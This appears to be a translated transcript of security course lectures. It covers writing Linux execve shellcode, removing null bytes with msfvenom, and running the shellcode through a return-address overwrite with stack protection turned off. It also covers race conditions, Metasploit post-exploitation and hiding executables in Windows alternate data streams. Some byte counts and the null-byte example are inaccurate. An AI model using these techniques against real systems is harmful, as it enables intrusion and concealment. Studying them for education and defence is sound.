一旦我们将值插入到字符指针数组 name 的栈中,编译器就开始操作栈底部的额外空间。首先,它插入一个长整型的 null。接下来的两条指令将数组 name 的地址添加到 null 下方的栈位置。然后,将 /bin/sh 的地址加载到更下面的位置。接着我们进行系统调用,并在 execve 返回时返回到 main。
顺便提一下,根据 execve 的函数定义,$esp+0x14 应该是 null 的地址,而不是字面量 null。之所以如此,是因为第三个参数也是一个指针。这似乎是编译器中的草率编程,但由于它是 null 且不包含环境信息,所以显然可以工作。此外,此时 %eax 拥有 /bin/sh 的地址,%edx 拥有 name 数组的地址。
execve 将地址移入寄存器以进行系统调用 0x80。函数参数被放入 %eax。要执行的程序字符串地址进入 %ebx。name 数组的地址进入 %ecx,一个 null 进入 %edx,最后发生中断。
execve 的反汇编指令集从此处继续,但我们将跳过它,因为我们不关心它。我们已经找出了让shellcode执行的所有步骤。
Shellcode的内存布局
这张幻灯片以图示形式展示了执行shell程序 /bin/sh 所需的条件,但它增加了更多关于我们如何在内存中定位信息的结构。这些信息是在中断发生前需要放入寄存器的内容。
其思路是,我们将字符串 /bin/sh 放入内存。然后,相对于字符串的起始位置,我们紧随其后放置空字符以终止字符串、字符串的地址和一个长整型的 null。顶部的箭头显示我们将使用的所有寻址都是相对于 /bin/sh 的,底部的箭头显示在调用中断前必须传入寄存器的地址。
请注意,成功开发shellcode的关键在于找出 /bin/sh 的位置,因为我们将相对于该位置寻址其他所有内容。
这是同一张图,但我们使用了两次长整型的 null:一次是作为由元素 /bin/sh 和 null 组成的 name 数组,另一次是作为 execve 调用中所需的环境变量 null。这实际上就是我们在调用中断 0x80 之前设置字符串的方式。我不清楚 Aleph1 为何采用这种捷径,但为了与《Smashing The Stack For Fun And Profit》论文保持一致,我们将以同样的方式实现它。
添加退出代码
因此,我们知道了执行shell所需的步骤。但在我们开发代码的过程中,为了进行测试,我们将添加一些简单的退出代码,以便在调用失败时能够优雅地终止。
一个优雅的退出包括另一个系统中断,其中函数参数设置为 0x1,退出代码设置为 0。
知识总结
将这些部分组合在一起,这张幻灯片总结了我们学到的关于执行shell的知识。我们知道在调用中断之前,内存中需要有哪些字符串,以及寄存器的内容需要是什么。
在本子模块中,我们学习了启动shell所需的基本指令,并且我们是通过检查提供相同功能的C代码的反汇编版本得出这一结论的。展望未来,我们将能够利用这些知识来生成将通过缓冲区传递给目标的shellcode,并且我们将通过溢出缓冲区来使该shellcode执行。
接下来,我们将讨论必须插入到我们简单shellcode中的相对寻址元素,以便它能在内存中的任何位置运行,以及一个用于找出shellcode位置以便使其运行的有趣技巧。
总结

本节课中,我们一起学习了Shellcode的基本构造原理。我们从分析一个产生shell的C程序出发,通过反汇编理解了execve系统调用的具体步骤和内存布局。我们明确了成功Shellcode的关键在于确定/bin/sh字符串在内存中的位置,并使用相对寻址来构建参数。最后,我们还了解了为测试目的添加优雅退出代码的方法。这些知识为我们后续构造可注入的、位置无关的Shellcode打下了坚实的基础。
074:Shellcode寻址机制 🧠
在本节课中,我们将学习Shellcode中的相对寻址机制。这种机制能让Shellcode无论被放置在内存的哪个位置,都能正确执行。我们还将学习如何定位Shellcode在内存中的位置,以便找到第一条指令并开始执行。
构建内存中的字符串结构
上一节我们介绍了Shellcode所需的基本指令集,本节中我们来看看如何在内存中构建字符串结构,以便在调用中断前填充寄存器。
我们将字符串 /bin/sh 放入内存。紧接着该字符串,我们会放置一个空字符来终止字符串。之后是字符串的地址和一个长整型的空值。所有寻址操作都将相对于 /bin/sh 字符串的起始位置进行。下图展示了在调用中断前,需要传入寄存器的地址。




总结来说,我们将在内存中创建字符串,将子字符串的地址移动到正确的寄存器中,然后调用中断 80。
Shellcode初版解析
下图展示了利用之前所学知识的基本代码。这是我们将在缓冲区溢出攻击中使用的Shellcode的第一个草案。


我将逐行解析,但请注意红色文本代表我们尚未确定的地址。在指令底部,作为代码的一部分,我们看到标识要执行程序的字符串 /bin/sh。蓝色框展示了我们如何将中断所需的其他信息“锚定”到 /bin/sh 字符串上。
目前的关键之一是确定在通过缓冲区传递Shellcode后,该字符串在目标内存中的位置。有一个巧妙的技巧可以解决这个问题。但现在,我们只需要理解Shellcode的其他部分。因此,暂时假设我们知道 /bin/sh 的位置。
以下是代码行的具体操作:
- 第一行,将其地址移动到字符串地址位置(第三个蓝色框)。
- 第二行,在
/bin/sh后放置一个空字节以终止它。 - 第三行,将一个32位的长整型空值移动到第四个蓝色框。
- 第四、五、六、七行,将指针移动到寄存器中,为中断调用做准备。
跳转与调用指令的巧妙运用
提醒一下 jump 和 call 的区别。jump 不提供返回机制。而 call 会将调用后下一条指令的指针压入栈中,这样当调用结束时,下一条指令就能被执行。
这些指令的另一个重要方面是,程序员不需要确切的地址。它们将控制权转移到相对于当前指令指针的一个偏移点。这非常有用,因为这意味着程序员不必知道缓冲区的地址即可使用它们。无论代码最终位于内存何处,指令都能自我调整。


现在,我们将探索 jump 和 call 指令的巧妙用法,这将允许我们定位放置在Shellcode末尾的 /bin/sh 字符串。一旦我们知道字符串的位置,就大功告成了,因为Shellcode中的其他所有内容都相对于该字符串定位。

在图片中间,您可以看到标记为“Shellcode”的小框。这是我们一直在讨论的汇编指令集,但我们添加了三条指令:开头的 jump 和 pop,以及结尾的 call。
这个技巧的工作原理如下:
- 第一条指令跳转到
call语句。我们可以计算出如何做到这一点,因为寻址是相对的。 call语句调用pop指令。但在call执行之前,下一条指令(即/bin/sh字符串的地址)被压入栈中。- 然后,在
call之后,执行pop指令,这样我们就将/bin/sh的位置存入了pop所使用的寄存器中。
为了理清相对寻址,我们需要在Shellcode内逐条指令计算字节数以计算跳转和调用的偏移量。您将看到,这并不难做到。顺便提一下,处理恶意代码的取证工程师实际上会搜索这种 jump-call 模式来识别恶意行为。
至此,我们已经将Shellcode包装在一个 jump-call 例程中,该例程将 /bin/sh 的地址弹出到 ESI 寄存器中。现在,我们能够填充在Shellcode初版中留下的占位符了。所有内容都相对于 ESI 进行偏移。我们仍然需要计算字节数以确定偏移量的实际值,但GDB调试器将帮助我们完成这项工作。
在左侧,我使用调试器计算了每条指令关联的字节数,我们将用它来完成 jump 和 call 的语法。
自定位代码与偏移计算
这是自定位代码。无论它最终位于内存何处,相对寻址都会处理好所有偏移量,因此代码能够执行。

另一点需要注意,蓝色框表示我们的Shellcode正在 /bin/sh 的末尾写入内存。这意味着代码正在修改其自身的字符串空间。操作系统用于消除缓冲区溢出的一些防御方法会阻止代码修改自身。关于这一点,我们稍后再讨论。
下图使用子字符串的长度来计算偏移量。




在这里,占位符已被刚刚计算出的实际偏移值所取代。
GCC内联汇编与相对寻址

这是关于相对寻址如何与GCC汇编器配合工作的简短说明。我们将利用这个想法来完成 jump 和 call 指令。

在使用GCC时,这种代码被称为内联汇编代码。__asm__ 告诉编译器将其解释为汇编代码。从技术上讲,下划线并非必需,但它们相当标准,有助于避免命名冲突。
每行都需要一个换行符终止,并且每行都用引号括起来。如果您想了解更多关于其工作原理的信息,或者在使用中遇到问题,可以在互联网上搜索“inline assembly”。
我标为红色的点 .,是我们告诉汇编器使用相对寻址的方式。在这个例子中,jmp .+6 告诉汇编器从当前指令指针向前跳转6个字节。编译器获取 jump 的当前IP并加上6。由于 jump 是一个两字节指令,而 nop 是一个一字节指令,所以它跳转到最后一个 nop。

现在,让我们使用GCC编译器的内联汇编语法输入我们的汇编代码。

发生了哪些变化?
- 首先,我使用内联汇编语法对其进行了格式化。
- 其次,我通过计算字节数确定了
ESI的偏移量。我是如何做到的?这很简单。/bin/sh字符串是7个字节。所以空字节的偏移量将是再加1。我们从0开始计数,偏移量就是7。类似地,字符串地址的偏移量是8,长整型空值的偏移量是12(十六进制C)。 - 第三,我猜测了
jump和call相对寻址的计数。我从jump用18、call用16开始编译,但没有运行它,而是对其进行了反汇编。我知道16和18是错误的。但现在在GDB中,我可以看到指令的长度并计算字节数,以确定相对寻址的字节数应该是多少,才能使jump命中call指令,以及call命中pop指令。
调试与字节计数示例
下图是 sc_asm.c 反汇编后的示例,以及如何进行字节计数。


第一个 jump 从 +3 到 +5,所以它使用了2个字节。pop 指令从 +5 到 +6,所以它使用了1个字节。您继续以这种方式计算 jump 和 call 之间的字节数。
这只是字节计数的图示视图。您可以数蓝色框(代表字节)来了解我是如何得出偏移量计数44和42(或十六进制2C和2A)的。
这只是一个屏幕截图,显示了 jump 之后的 pop 地址和 call 的地址。绿色箭头显示 jump 落在了 call 上,而 call 落在了 jump 之后的 pop 上,符合我们之前讨论的 jump-call 模式,并确保我们正确定义了相对寻址。


课程总结
在本节课中,我们一起学习了Shellcode寻址的所有步骤,以确保它无论位于内存何处都能运行。两个关键思想是:
- 使用
jump-call技巧获取字符串位置以计算偏移量。 - 确定
jump和call的相对寻址偏移量。
我还简要介绍了使用GCC内联汇编来生成代码的想法。在下一节中,我们将利用这个想法来编译刚刚编写的Shellcode,然后学习如何管理和执行生成的十六进制字符串以启动一个shell。


075:Shellcode构造方法 🛠️
在本节中,我们将学习如何将Shellcode编译为汇编例程并使其执行。我们将通过一系列步骤,从编译内联汇编代码开始,最终生成并测试一个能启动新Shell的字符数组。
概述
我们将首先编译之前子模块中的内联汇编代码,然后通过调试器分析目标代码,提取出Shellcode的字节序列。接着,我们会将这些字节格式化为一个C语言字符数组,并编写一个测试程序来验证Shellcode的功能。最后,我们会讨论在测试过程中可能遇到的操作系统保护机制及其解决方法。
步骤详解
1. 编译内联汇编
首先,需要编译上一个子模块中的内联汇编代码。我们假设源文件名为 scasm.c。

gcc -o scasm scasm.c
2. 调试与反汇编
接下来,在生成的目标代码上启动调试器,并对 main 函数进行反汇编。
gdb ./scasm
(gdb) disassemble main
在反汇编输出中,跳过帧管理指令,找到 jump 指令。该指令的地址将为我们提供Shellcode的起始字节。
3. 定位Shellcode结尾

为了找到Shellcode的结尾,我们需要定位字符串。反汇编器可能不会直接显示字符串,但我们知道字符串长度为7字节。因此,我们可以将 call 指令后下一条指令的地址加上7,得到字符串的结尾地址,再加1字节以包含空字符。
计算此地址与 jump 指令地址之间的差值,得出Shellcode的总长度为57字节。
4. 提取Shellcode字节
使用调试器命令以十六进制格式显示这57个字节。
(gdb) x/57xb 0x080483B7
这里的地址 0x080483B7 是 jump 指令的地址。在输出的字节转储中,最后八个字符对应字符串 /bin/sh。
5. 格式化Shellcode
将这57个字节格式化为十六进制,用于初始化一个名为 shellcode 的字符数组,以便在C程序中使用。
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
6. 编写测试代码
由于Shellcode是自修改代码(修改自身的字符串空间),而操作系统不允许在代码段执行此类操作,因此我们将Shellcode放置在栈上而非代码段进行测试。
以下测试代码通过修改执行流来运行Shellcode,使用了我们在“修改执行流”子模块中学到的技术。
#include <stdio.h>
#include <string.h>
char shellcode[] = "..."; // 上述57字节的Shellcode
int main() {
int *ret;
ret = (int *)&ret + 2; // 跳过旧的帧指针,指向main的返回地址
*ret = (int)shellcode; // 修改返回地址,使其指向Shellcode
return 0;
}
7. 处理操作系统保护
在Kali等系统上编译并运行测试程序时,可能会遇到段错误。这是因为操作系统启用了数据执行保护(DEP),防止代码在栈上执行。
为了解决这个问题,需要在编译时添加特定开关以关闭栈保护。
gcc -z execstack -o test test.c
8. 测试与验证
编译并运行测试程序后,如果一切正常,将启动一个新的Shell。
./test
$ whoami
kali

执行过程分析

当Shellcode执行时,栈上的情况如下:
- Shellcode被放置在字符串空间中,第一条指令开始执行。
- 帧指针被管理,栈指针下移,为整型指针
ret分配栈空间。 - 第二条指令获取栈上局部变量
ret的地址,并将其值增加2。由于ret是指针,包含一个地址,因此在汇编代码中实际增加的是8字节(两个4字节地址)。 - 指令执行后,
ret中的值变为main函数的返回地址。 - 最后一条指令将
ret所指向的整数值修改为Shellcode第一个字节的地址。这样,当main函数结束时,将执行Shellcode而非返回。
总结
本节课中,我们一起学习了Shellcode的构造与测试方法。我们首先将内联汇编代码编译为目标文件,然后通过调试器提取出Shellcode的字节序列。接着,我们将这些字节格式化为C语言字符数组,并编写了一个测试程序来验证其功能。在测试过程中,我们遇到了操作系统的数据执行保护机制,并通过编译器开关解决了这一问题。最终,我们成功运行了Shellcode并启动了新的Shell。

下一节,我们将讨论空字符在缓冲区溢出中的特殊作用,这是将所有内容整合起来创建缓冲区溢出示例前的最后一步。
076:空字符问题处理 🛡️
在本节课程中,我们将学习一个在缓冲区溢出攻击中至关重要的概念:空字符的处理。理解并解决空字符问题,是确保我们的Shellcode能够被完整复制到目标缓冲区的关键步骤。
概述
缓冲区溢出攻击通常涉及字符串复制操作。当字符串复制函数遇到空字符(\0)时,它会认为字符串已经结束并停止复制。因此,如果我们的Shellcode中包含空字符,复制过程就会提前终止,导致部分攻击代码无法成功载入目标缓冲区。本节将详细探讨如何识别并消除Shellcode中的空字符。
空字符问题详解
上一节我们介绍了Shellcode的构造,本节中我们来看看如何确保它的完整性。空字符问题源于C语言中字符串以空字符作为终止符的约定。


以下是一个包含空字符的Shellcode示例,其中空字符已用红色标出:
31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 e2 53 89 e1 b0 0b cd 80
(注:其中 b0 0b 指令中的 0b 可能在某些上下文中被视为空字符的源头,需要处理)
如果不去除这些空字符,使用如 strcpy 这样的函数进行复制时,代码将被截断。


手动消除空字符
对于内联汇编形式的Shellcode,我们可以通过指令替换来手动消除空字符。核心思路是使用功能等效但不包含空字节的指令序列。
以下是需要修改的五条包含空字符的指令及其对应的“无空字符”多态版本:

- 原始指令(左侧) vs. 多态指令(右侧)
mov al, 0xb->xor eax, eax; mov al, 0xb(通过先清零寄存器再赋值来避免直接使用0xb操作码中的空字节)mov ebx, 0x0->xor ebx, ebx(使用异或操作将寄存器清零,比直接赋0值更短且无空字节)mov ecx, 0x0->xor ecx, ecxmov edx, 0x0->xor edx, edxint 0x80-> (此指令本身通常不产生空字符问题,但需注意其机器码cd 80)
重要提示:替换指令后,由于指令长度发生变化,代码中的相对地址(特别是 jump 和 call 指令的偏移量)会被破坏。因此,我们必须重新编译、反汇编,并手动调整这些偏移量。
调整完成后,应再次检查是否所有空字符都已消除,必要时重复此过程。最终,我们得到的新Shellcode将不包含除字符串终止符外的任何空字符,从而确保能被完整复制。
使用MSFvenom自动消除空字符
手动消除空字符的过程可能有些繁琐,并且需要一定的汇编语言专业知识。另一种更高效的选择是使用Metasploit框架中的 msfvenom 工具,它提供了一系列专门设计用于处理此类问题的编码器。
在Kali Linux的命令行中,可以通过以下命令获取编码器列表:
msfvenom -l encoders
若要筛选x86架构的编码器,可以使用:
msfvenom -l encoders --arch x86
msfvenom 的默认编码器现在是 powershell/base64,专为Windows PowerShell框架设计。对于去除空字符,常用的编码器是 x86/shikata_ga_nai。


以下是如何将原始Shellcode通过管道传递给 msfvenom 进行编码的示例命令:
echo -ne \"\x31\xc0\x50...\x80\" | msfvenom -p - -a x86 --platform linux -e x86/shikata_ga_nai -f raw
echo -n告诉 echo 不要输出尾随的换行符。-e启用反斜杠转义的解释。-e x86/shikata_ga_nai指定使用该编码器。msfvenom的其他选项还包括指定要移除的坏字符、目标平台、载荷类型和输出格式。
当Shellcode被输入 msfvenom 后,它会被编码,生成的载荷中的空字符将被移除,从而避免字符串复制时出现问题。
注意事项:
msfvenom可以指定多次编码(-i <次数>),有些人曾试图用此技术来规避入侵检测系统(IDS),但效果有限。- 编码会导致代码体积增大,因为
msfvenom需要在载荷中内置解码器。这种增长可能导致载荷超出你试图溢出的缓冲区大小,从而使攻击失败。
测试编码后的Shellcode
为了测试编码器的效果,可以按照以下步骤操作:
- 从终端窗口复制编码后的载荷。
- 编辑测试程序(例如
test_sc.c),将新的载荷粘贴到原有Shellcode的位置。 - 重新编译并运行测试程序。如果成功获得一个shell,则证明编码器提供的、不含空字符的载荷与原始Shellcode功能完全一致。
总结
本节课中我们一起学习了如何处理Shellcode中的空字符问题。我们探讨了两种主要方法:
- 手动修改汇编指令:通过思考并使用功能等效但不包含空字节的指令序列进行替换,然后重新计算地址偏移。这种方法在简单示例中可能一次成功,但并非万无一失,且需要汇编知识。
- 使用
msfvenom自动编码:利用Metasploit框架提供的强大工具自动移除空字符并编码Shellcode。这种方法更高效,但需要注意编码带来的体积膨胀问题。

随着我们进入下一个实际创建缓冲区溢出漏洞利用的子模块,你可能需要根据实际情况测试这两种方法,选择最适合当前场景的方案。
077:竞态条件基本原理 🏁

在本节课中,我们将要学习竞态条件的基本概念、其表现形式(如“检查时间-使用时间”攻击),以及如何防范此类漏洞。我们还将探讨两个著名的现代处理器漏洞:Meltdown和Spectre。
竞态条件定义
上一节我们介绍了课程的整体安排,本节中我们来看看竞态条件的核心定义。
竞态条件是指两个或更多进程试图在同一时间对同一资源执行其活动。这可能导致执行序列未按正确顺序发生,从而产生意外行为。

竞态条件可能发生在两个或更多进程使用共享资源(例如变量中的数据)时。确保进程按正确顺序执行其功能至关重要。例如,身份验证和授权就是一个关键示例。
在软件中,当身份验证和授权步骤被拆分为两个函数(例如“检查”和“使用”)时,攻击者就有可能利用竞态条件,强制授权步骤在身份验证步骤之前完成。攻击者需要利用代码或软件中的缺陷,使得操作能以错误的顺序执行。
检查时间-使用时间攻击

理解了竞态条件的基本定义后,本节我们来探讨其一种具体形式:检查时间-使用时间攻击。
检查时间-使用时间是竞态条件的另一种形式。这种攻击利用了系统完成一项任务所需的一系列步骤。本质上,它利用了多任务操作系统中事件发生时间的依赖性。
操作系统和应用程序实际上是一行行的指令。如果指令的执行顺序被打乱,攻击者通过利用漏洞,就能操控这些操作的结果。
检查时间-使用时间这类竞态条件攻击也被称为异步攻击。它特别描述了每个步骤的时机可能变化的进程。攻击者介入这些步骤之间,修改代码并执行其攻击。

防范竞态条件与检查时间-使用时间攻击
了解了攻击原理,本节我们来看看如何防范竞态条件与检查时间-使用时间攻击。主要有以下几种方法:
以下是防范竞态条件的主要方法:
- 不要拆分关键任务:不应拆分那些顺序可能被改变的关键任务。
- 使用原子操作:系统应使用原子操作,即仅通过一个系统调用来检查身份验证并授予访问权限,将其作为一个任务完成。这相当于在“检查”和“使用”之间设立了一个时间窗口或间隔。
- 重复检查与使用:可以添加更多的竞态条件检查代码,增加攻击者需要攻破的障碍。
- 遵循最小权限原则:对于检查和使用操作,只授予用户和对象执行其工作所必需的最小权限。
以下是防范检查时间-使用时间攻击的方法:
- 应用软件锁:最佳做法是操作系统能在执行检查任务时,对将要使用的项目应用软件锁。这确保了文件不能被删除或替换。对文件应用锁比锁定数据库组件或表条目更容易。

Meltdown与Spectre攻击
在探讨了传统竞态条件后,本节我们来看看两个基于类似原理的现代处理器漏洞:Meltdown和Spectre。这两个漏洞均在2017年被发现,与事件执行顺序错乱有关。
Meltdown攻击允许用户级程序读取内核内存,导致数据泄露。它绕过了硬件强制实施的安全域隔离。该漏洞是CPU设计上的缺陷。其攻击原理是:乱序执行操作为用户创造了从内核内存读取数据的机会,然后利用这些数据在CPU缓存上引发可观测的效果。对抗措施包括硬件内核修改以及不将内核内存映射到用户空间。
Spectre攻击同样发现于2017年。它利用了大多数CPU推测执行设计中的一个竞态条件漏洞,允许恶意程序从本无法访问的区域读取数据。这个受限区域不一定在内核中,这使得防御Spectre攻击更加困难。其攻击原理是:CPU执行了一个条件为假的if语句分支,并且没有按预期清理缓存,从而留下了乱序执行的痕迹。这些残留的数据痕迹可以被访问。对抗措施包括CPU的重新设计,以及使用新的系统分区来改进进程和权限级别的隔离。

本节课中我们一起学习了竞态条件的基本概念,包括其定义和“检查时间-使用时间”这种具体攻击形式。我们探讨了通过原子操作、最小权限原则和应用锁等方法来防范此类漏洞。最后,我们了解了两个著名的现代处理器漏洞Meltdown和Spectre的攻击原理与基本防御思路。
078:渗透后利用技术 🎯

在本节课中,我们将要学习在成功获得目标系统的初步访问权限(即“立足点”)之后,接下来需要执行的一系列关键活动。这些活动被称为“渗透后利用技术”,其核心目标是扩大我们在目标网络中的存在和影响力。
上一节我们介绍了如何获得初始访问权限,本节中我们来看看在获得立足点之后,攻击者或渗透测试者通常会做些什么。

权限提升 ⬆️
权限提升是渗透后阶段的首要目标之一。其基本概念是,用户、应用程序或攻击者通过利用某些漏洞,获得超出其正常授权范围的系统权限。
权限提升 可定义为:
利用应用程序中的缺陷,获取通常对低权限用户或应用程序被禁止访问的资源的行为。
权限提升主要分为两种类型:
- 垂直提升:攻击者获取更高级别账户(如管理员)的权限。
- 水平提升:攻击者获取与自身权限级别相似的其他账户的访问权限。
以下是防御权限提升的一些关键原则:
- 最小权限原则:只授予用户或程序完成工作所必需的最低权限。
- 应用程序级授权:将权限授予应用程序而非用户账户,限制横向移动。
- 细粒度权限控制:对高权限操作实施额外的访问控制检查。
- 服务限制:确保系统服务(守护进程)以所需的最低权限运行。
- 代码签名:要求内核模式代码必须经过签名,增加修改系统底层组件的难度。

权限提升实例 🔍
在现实世界中,权限提升漏洞多种多样。以下是一些常见的例子:
- 基于平台的攻击:通常涉及通过原始接口修改内核级别的访问,例如直接操作内存或磁盘。
- SetUID攻击:利用设置了SetUID位的程序在短暂时间内拥有的高权限(如root),通过攻击将其转化为长期的高权限访问(例如获得一个root shell)。
- 服务(守护进程)攻击:如果一个以高权限运行的服务被攻破,攻击者可能直接获得相应的高权限。
一个著名的例子是Stuxnet蠕虫,它使用了两个零日漏洞进行权限提升。其中一个漏洞利用了键盘的内核模式驱动程序,允许攻击者以内核级别访问数据;另一个则通过修改内核级任务文件并创建CRC32碰撞来隐藏篡改痕迹,从而执行系统级命令。

持久化访问与痕迹清理 🕵️
在提升权限的同时或之后,攻击者会致力于维持长期访问并隐藏其活动痕迹。
以下是攻击者可能采取的一些关键行动:
- 网络探测:利用已攻陷的系统作为跳板,探测网络中的其他机器。
- 数据嗅探:捕获网络数据包,以发现其他潜在目标或窃取凭证。
- 注册表操作:在Windows系统中编辑注册表以获取信息或配置后门。
- 后门植入:安装后门程序或创建隐藏账户,以确保在系统重启或漏洞修复后仍能访问。
- 痕迹清理:删除日志文件、清除命令历史记录等,以掩盖入侵证据。
Metasploit 渗透后利用模块 ⚙️

Metasploit框架提供了丰富的渗透后利用模块,帮助渗透测试者从已被攻陷的系统中收集数据和维持访问。
以下是几类主要的模块及其功能:
- 信息收集模块:例如
windows/gather/credentials模块,用于收集密码、哈希值和令牌。 - 交互控制模块:例如
windows/capture/keylog_recorder模块,用于记录被控系统的键盘输入(注意:需先迁移到一个交互式进程)。 - 系统管理模块:例如
windows/manage/delete_user模块,用于从被控系统中删除指定用户账户。 - Shell升级模块:用于将简单的shell会话升级为功能更全的Meterpreter会话。

此外,Metasploit还包含数百个辅助模块,用于执行扫描、模糊测试、嗅探等任务。这些模块虽然不直接提供shell,但在渗透测试的后期阶段极具价值。
横向移动(跳板攻击) 🔄
获得一个立足点后,攻击者不会止步于此。下一步通常是进行横向移动,有时也称为“跳岛攻击”,即从一个已攻陷的系统出发,去探测和攻击网络内部的其他计算机。
我们可能已经攻陷了一台办公电脑,但现在需要寻找并攻击更关键的目标,如数据库服务器或域控制器。横向移动使我们能够深入目标网络的信任区域。


本节课中我们一起学习了渗透后利用技术的关键组成部分。我们首先探讨了权限提升的核心概念与防御方法,然后通过实例了解了其具体表现形式。接着,我们学习了攻击者如何通过持久化访问和痕迹清理来巩固成果并隐藏行踪。之后,我们介绍了Metasploit框架中强大的渗透后利用模块,它们能自动化执行许多关键任务。最后,我们了解了横向移动的重要性,它是从单一立足点扩展到整个网络控制的关键步骤。掌握这些技术对于理解完整的攻击链和构建有效的防御体系至关重要。
079:数据隐匿方法 🔍
在本节课中,我们将要学习数据隐匿的基本概念与方法。数据隐匿技术旨在将信息隐藏起来,以避免被轻易发现。例如,攻击者可能需要在目标系统上整理或加密数据,以便后续将其窃取,同时希望避免被检测到。课程将介绍几种具体的隐匿技术,包括利用操作系统特性隐藏文件或可执行程序。这些技术也引出了“rootkit”的概念,即试图对用户和系统管理员隐藏自身的恶意软件,但rootkit本身是另一个讲座的主题,本小节将不深入讨论。
文件系统与元数据
上一节我们介绍了数据隐匿的目的,本节中我们来看看操作系统如何存储文件信息,这为数据隐匿提供了基础。
Macintosh文件系统将数据存储在两个部分:资源分支(resource fork)和数据分支(data fork)。数据分支是实际包含数据内容的地方,而资源分支则告诉操作系统如何解释数据分支。换句话说,资源分支是元数据。
Windows系统采用了另一种方法来实现类似功能,称为交替数据流。ADS是一个隐藏的数据流,它补充了包含文件主体内容的常规数据流。这意味着元数据并不总是会在你认为它应该出现的时候显示出来。这个隐藏的流可以包含文件的元数据,例如文件的访问、修改时间和文件属性。
但Windows并不使用ADS来解释数据内容,文件内容的解释是由文件扩展名决定的。因此,重要的是,我们实际上可以将其他信息放入资源分支或ADS中将其隐藏,并以非预期的方式使用它。
创建与利用交替数据流
了解了ADS的基本概念后,我们来看看如何具体创建和利用它来隐藏数据。
本幻灯片展示了一种使用记事本创建ADS的简单方法。当我们使用 dir /R 选项请求目录内容时,隐藏的.txt文件会显示出来。但是,还有其他技术可以更安全地隐藏数据。
一种技巧利用了设备名称。这些是以大写字母标识的特殊名称,有时带有一个数字,例如 COM8。如果我们尝试用记事本创建 COM8.txt,会收到一条错误消息,提示该名称被Windows保留,应选择另一个名称。基本上,操作系统名称解析会检查这些保留名称并保护它们。
但是,表达式 \\?\ 可以关闭操作系统的名称解析。这个表达式告诉Windows API禁用所有字符串解析,并将紧随其后的字符串直接发送到文件系统。因此,如果我们调用该表达式,就可以创建和写入保留的文件名。echo 命令和 more 命令都接受这个表达式,它们允许我们创建和读取一个Windows认为归其所有的文件。
以下是利用保留设备名创建隐藏文件的步骤:
- 使用
\\?\前缀绕过Windows的名称保护机制。 - 使用
echo命令将数据写入该文件。 - 使用带有
\\?\前缀的more命令可以读取该文件内容。
检测与删除ADS
既然可以创建隐藏的ADS,那么如何发现和清理它们呢?
有一些工具旨在帮助处理交替数据流。其中一个叫做 streams.exe。它会检查命令行中指定的文件和目录,并告知在这些文件中遇到的任何命名流的名称和大小。然而,streams.exe 使用了一个未公开的本机函数来检索文件流信息,因此它并不完美,并且无法找到附加到像 COM8 这样的保留名称上的数据流。

当我们使用保留名称时,dir /R 也无法识别这些流。因此,我们拥有一种技术,允许我们将隐藏数据附加到Windows保护的保留文件名上。

这是我的Windows机器上的一个截图,其中有两个交替数据流。一个流附加到 COM8,另一个附加到 test.txt。你可以看到 dir /R 对其中一个有效,但对另一个无效。顺便说一下,如果你决定尝试这个,删除一个ADS需要使用相同的 \\?\ 表达式来关闭解析。例如,要删除此目录中的 COM8,我需要键入:
DEL \\?\C:\users\smeltMD1\COM8

隐匿恶意软件示例
数据隐匿技术可能被滥用于恶意目的,接下来我们看看如何利用ADS隐藏可执行程序。
现在,我想谈谈利用这个想法来隐藏恶意软件。因此,我将使用可执行文件 cd.exe 来代表一个恶意的可执行程序。这个程序会打开一个带有命令提示符的窗口。所以当这种情况发生时,我们可以推断恶意软件可能已被执行并采取了恶意行动。
我打开一个命令提示符。第一步是创建一个具有保留文件名(如 COM8)的文件。接下来,我们想使用 type 命令。这个命令通常列出文件的内容。如果你输入 type cd.exe,Windows 会将可执行文件中每8位字节的ASCII字符渲染到屏幕上。但如果你不试图渲染它,它将被逐位复制。
在所示案例中,该命令表示:将 cd.exe 复制到附加到 COM8 的交替数据流,并且不要解析文件名以尝试保护保留字。命令如下:
type cd.exe > \\?\C:\Users\smeltMD1\COM8:hidden.exe
不幸的是,我们无法使用 more 来读取这个文件,但我们可以使用 Windows管理规范命令行 工具来使其执行。执行这个隐藏文件的语法显示在最后一行:
wmic process call create \\?\C:\Users\smeltMD1\COM8:hidden.exe



此屏幕截图显示了左上角的执行过程。当它运行时,会在右下角打开命令提示符。红色框显示了创建窗口的程序。

当我在连接到JHU网络的机器上运行此程序时,Carbon Black检测到了意外活动,并将其识别为潜在恶意活动。我开始收到来自我们安全团队的紧急加密电子邮件,询问我此事。他们分享了这张截图。我很惊讶Carbon Black能识别出这个,因为它根本没有任何恶意,但看起来它是以 Windows管理规范可执行文件 为关键特征进行识别的。一点历史:Bit9成立于2002年,该公司在2014年初收购了总部位于德克萨斯州的Carbon Black,并开始使用合并后的名称。此后,Carbon Black产品似乎增长非常迅速。
这是来自网络安全的另一张截图,显示了我的机器上运行的一些进程,再次,WMIC 被高亮显示,尽管它链接的是一个无害的可执行文件。
Linux下的数据隐匿
Linux并没有像交替数据流那样的隐藏机制,但我们仍然可以使用一些技巧来隐藏数据。我将讨论其中之一。
其思想是创建一个可能被忽略的目录。我们将创建一个名为 . (点+空格)的目录。由于它以点开头,ls 命令默认不会显示它。ls -la 会显示它,但它可能很容易被忽略,特别是当该目录在文件结构深处并且有大量点文件时。
以下是一个显示所述目录的屏幕截图。你可以看到有几个点文件有助于隐藏它。我们创建用于隐藏数据的目录位于顶部,如果不了解Linux,很容易错过它。它看起来确实像一个普通的目录。许多用户除了shell配置文件外,从不查看他们的点文件。
但是,如果你确实注意到了它,却又不知道它的名字是“点+空格”,你甚至无法进入或删除它,除非进行一些分析来弄清楚目录名。
总结
本节课中我们一起学习了数据隐匿的几种核心方法。我讨论了使用交替数据流和隐蔽目录来隐藏数据。接下来,我将讨论日志管理作为掩盖踪迹的一种方法。


080:日志清除与痕迹隐藏 🕵️
在本节课中,我们将学习如何在获得系统访问权限后,通过管理日志来隐藏自己的活动痕迹。核心目标是避免被系统管理员发现,这包括禁用审计、清理临时文件以及从日志中移除特定条目。
上一节我们讨论了权限提升,本节中我们来看看如何清理留下的痕迹。
禁用审计与初步清理
获得初步立足点后,第一件事是尝试禁用系统审计。如果成功,后续活动将不会被记录。但这通常不足以完全隐藏,因为渗透过程中可能已经留下了痕迹。因此,需要进行清理工作。
以下是需要清理的主要项目:
